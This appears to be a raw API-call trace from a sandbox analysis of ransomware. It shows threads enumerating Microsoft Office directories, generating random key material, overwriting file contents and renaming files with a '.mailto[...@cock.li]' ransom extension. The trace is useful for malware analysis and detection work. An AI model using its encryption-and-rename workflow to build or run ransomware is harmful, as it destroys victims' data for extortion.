	[0089.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d618f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f08
	[0089.821] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe404f4c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe404f4c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4134233, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ul-oob.xrm-ms", cAlternateFileName="HOD57C~1.XRM")) returned 1
	[0089.821] wcscmp (_String1="HomeBusinessR_Retail-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.821] wcscmp (_String1="HomeBusinessR_Retail-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481b5b8
	[0089.821] wcscpy (in: _Dest=0x481b5b8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.821] wcscat (in: _Dest=0x481b5b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.821] wcscat (in: _Dest=0x481b5b8, _Source="HomeBusinessR_Retail-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms"
	[0089.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0c
	[0089.822] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40c1be1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ul-phn.xrm-ms", cAlternateFileName="HO7BFB~1.XRM")) returned 1
	[0093.821] wcscmp (_String1="HomeBusinessR_Retail-ul-phn.xrm-ms", _String2=".") returned 1
	[0093.821] wcscmp (_String1="HomeBusinessR_Retail-ul-phn.xrm-ms", _String2="..") returned 1
	[0093.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a308
	[0093.821] wcscpy (in: _Dest=0x481a308, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0093.821] wcscat (in: _Dest=0x481a308, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.821] wcscat (in: _Dest=0x481a308, _Source="HomeBusinessR_Retail-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms"
	[0093.821] CreateThread (lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a308, dwCreationFlags=0x0, lpThreadId=0x0) 

Thread:
	id = 645
	os_tid = 0x1940

	[0078.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780160
	[0078.167] wcscpy (in: _Dest=0x4780160, _Source="C:\\Program Files\\Microsoft Office\\root\\loc" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc") returned="C:\\Program Files\\Microsoft Office\\root\\loc"
	[0078.167] wcscat (in: _Dest=0x4780160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\"
	[0078.167] wcscat (in: _Dest=0x4780160, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\*") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\*"
	[0078.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758560
	[0078.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x4758560 | out: lpFindFileData=0x4758560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7810
	[0082.030] wcscmp (_String1=".", _String2=".") returned 0
	[0082.030] FindNextFileW (in: hFindFile=0x46a7810, lpFindFileData=0x4758560 | out: lpFindFileData=0x4758560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.030] wcscmp (_String1="..", _String2=".") returned 1
	[0082.030] wcscmp (_String1="..", _String2="..") returned 0
	[0082.030] FindNextFileW (in: hFindFile=0x46a7810, lpFindFileData=0x4758560 | out: lpFindFileData=0x4758560*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0082.030] wcscmp (_String1="AppXManifestLoc.en-us.xml", _String2=".") returned 1
	[0082.030] wcscmp (_String1="AppXManifestLoc.en-us.xml", _String2="..") returned 1
	[0082.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31c68
	[0082.030] wcscpy (in: _Dest=0x4e31c68, _Source="C:\\Program Files\\Microsoft Office\\root\\loc" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc") returned="C:\\Program Files\\Microsoft Office\\root\\loc"
	[0082.030] wcscat (in: _Dest=0x4e31c68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\"
	[0082.031] wcscat (in: _Dest=0x4e31c68, _Source="AppXManifestLoc.en-us.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml"
	[0091.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml")) returned 0x220
	[0091.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", dwFileAttributes=0x20) returned 1
	[0091.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f4
	[0091.288] GetFileSizeEx (in: hFile=0x14f4, lpFileSize=0x1853fad4 | out: lpFileSize=0x1853fad4*=9831) returned 1
	[0091.288] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x2663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.288] ReadFile (in: hFile=0x14f4, lpBuffer=0x1853fa58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1853fa54, lpOverlapped=0x0 | out: lpBuffer=0x1853fa58*, lpNumberOfBytesRead=0x1853fa54*=0x4, lpOverlapped=0x0) returned 1
	[0091.291] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c68
	[0091.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.291] NtQuerySystemTime (in: CurrentTime=0x1853fa34 | out: CurrentTime=0x1853fa34*=132251868180253115) returned 0x0
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x23a69b3e
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x80c629db
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x381ae2f3
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xad30d6e3
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xab1c7566
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xfdda7053
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x1c3a0f8a
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x9a309140
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xd3152118
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x8f329c18
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xd12b6cdc
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x66c5b546
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x600206ac
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x9e0baf2e
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x31a36d67
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xeab51a77
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x305c2f9d
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x5d8ed2c0
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x69252c14
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x394f2434
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x592091a5
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xfdeb912
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x768e5186
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x4cbb06cf
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x7306bd83
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x4a487ccd
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x990eb302
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x1a148b07
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xa50e9200
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0x3290160a
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xc874da0c
	[0091.292] RtlRandom (in: Seed=0x1853fa40 | out: Seed=0x1853fa40) returned 0xc5e1557f
	[0091.301] ReadFile (in: hFile=0x14f4, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x2667, lpNumberOfBytesRead=0x1853fa30, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x1853fa30*=0x2667, lpOverlapped=0x0) returned 1
	[0091.304] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.304] WriteFile (in: hFile=0x14f4, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x2667, lpNumberOfBytesWritten=0x1853fa2c, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x1853fa2c*=0x2667, lpOverlapped=0x0) returned 1
	[0091.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0091.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3f) returned 0x2dfa8e0
	[0091.307] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.307] WriteFile (in: hFile=0x14f4, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x1853fa94, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x1853fa94*=0x123, lpOverlapped=0x0) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c68) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12ab8
	[0091.314] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml"
	[0091.314] wcscat (in: _Dest=0x2e12ab8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1853fa4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e618
	[0091.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0091.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.315] NtQueryInformationFile (in: FileHandle=0x14f4, IoStatusBlock=0x1853fa58, FileInformation=0x1853fa30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1853fa58, FileInformation=0x1853fa30) returned 0x0
	[0091.315] NtSetInformationFile (FileHandle=0x14f4, IoStatusBlock=0x1853fa58, FileInformation=0x1853fa30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0091.316] FlushFileBuffers (hFile=0x14f4) returned 1
	[0093.273] CloseHandle (hObject=0x14f4) 

Thread:
	id = 646
	os_tid = 0x1944

	[0078.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x47801c8
	[0078.169] wcscpy (in: _Dest=0x47801c8, _Source="C:\\Program Files\\Microsoft Office\\root\\mcxml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml"
	[0078.169] wcscat (in: _Dest=0x47801c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\"
	[0078.169] wcscat (in: _Dest=0x47801c8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*"
	[0078.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47587c8
	[0078.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x47587c8 | out: lpFindFileData=0x47587c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7790
	[0082.030] wcscmp (_String1=".", _String2=".") returned 0
	[0082.030] FindNextFileW (in: hFindFile=0x46a7790, lpFindFileData=0x47587c8 | out: lpFindFileData=0x47587c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.030] wcscmp (_String1="..", _String2=".") returned 1
	[0082.030] wcscmp (_String1="..", _String2="..") returned 0
	[0082.030] FindNextFileW (in: hFindFile=0x46a7790, lpFindFileData=0x47587c8 | out: lpFindFileData=0x47587c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1
	[0082.030] wcscmp (_String1="AppVIsvSubsystems32.dll", _String2=".") returned 1
	[0082.030] wcscmp (_String1="AppVIsvSubsystems32.dll", _String2="..") returned 1
	[0082.030] FindNextFileW (in: hFindFile=0x46a7790, lpFindFileData=0x47587c8 | out: lpFindFileData=0x47587c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems64.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0082.030] wcscmp (_String1="AppVIsvSubsystems64.dll", _String2=".") returned 1
	[0082.030] wcscmp (_String1="AppVIsvSubsystems64.dll", _String2="..") returned 1
	[0082.030] FindNextFileW (in: hFindFile=0x46a7790, lpFindFileData=0x47587c8 | out: lpFindFileData=0x47587c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1
	[0082.030] wcscmp (_String1="en-us", _String2=".") returned 1
	[0082.030] wcscmp (_String1="en-us", _String2="..") returned 1
	[0082.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed450
	[0082.030] wcscpy (in: _Dest=0x47ed450, _Source="C:\\Program Files\\Microsoft Office\\root\\mcxml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml"
	[0082.030] wcscat (in: _Dest=0x47ed450, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\"
	[0082.030] wcscat (in: _Dest=0x47ed450, _Source="en-us" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us"
	[0091.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82dd8
	[0091.320] wcscpy (in: _Dest=0x2d82dd8, _Source="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us"
	[0091.320] wcscat (in: _Dest=0x2d82dd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\"
	[0091.320] wcscat (in: _Dest=0x2d82dd8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*"
	[0091.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031d80
	[0091.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3e8
	[0091.325] wcscmp (_String1=".", _String2=".") returned 0
	[0091.325] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.328] wcscmp (_String1="..", _String2=".") returned 1
	[0091.328] wcscmp (_String1="..", _String2="..") returned 0
	[0091.328] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x5031d80 | out: lpFindFileData=0x5031d80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x981606a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x981606a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2446a, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16_accessmui.mcxml", cAlternateFileName="ACCESS~2.MCX")) returned 1
	[0091.328] wcscmp (_String1="accessmui.msi.16_accessmui.mcxml", _String2=".") returned 1
	[0091.328] wcscmp (_String1="accessmui.msi.16_accessmui.mcxml", _String2="..") returned 1
	[0091.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d62130
	[0091.328] wcscpy (in: _Dest=0x2d62130, _Source="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us"
	[0091.328] wcscat (in: _Dest=0x2d62130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\"
	[0091.328] wcscat (in: _Dest=0x2d62130, _Source="accessmui.msi.16_accessmui.mcxml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml"
	[0091.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml")) returned 0x220
	[0091.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml", dwFileAttributes=0x20) returned 1
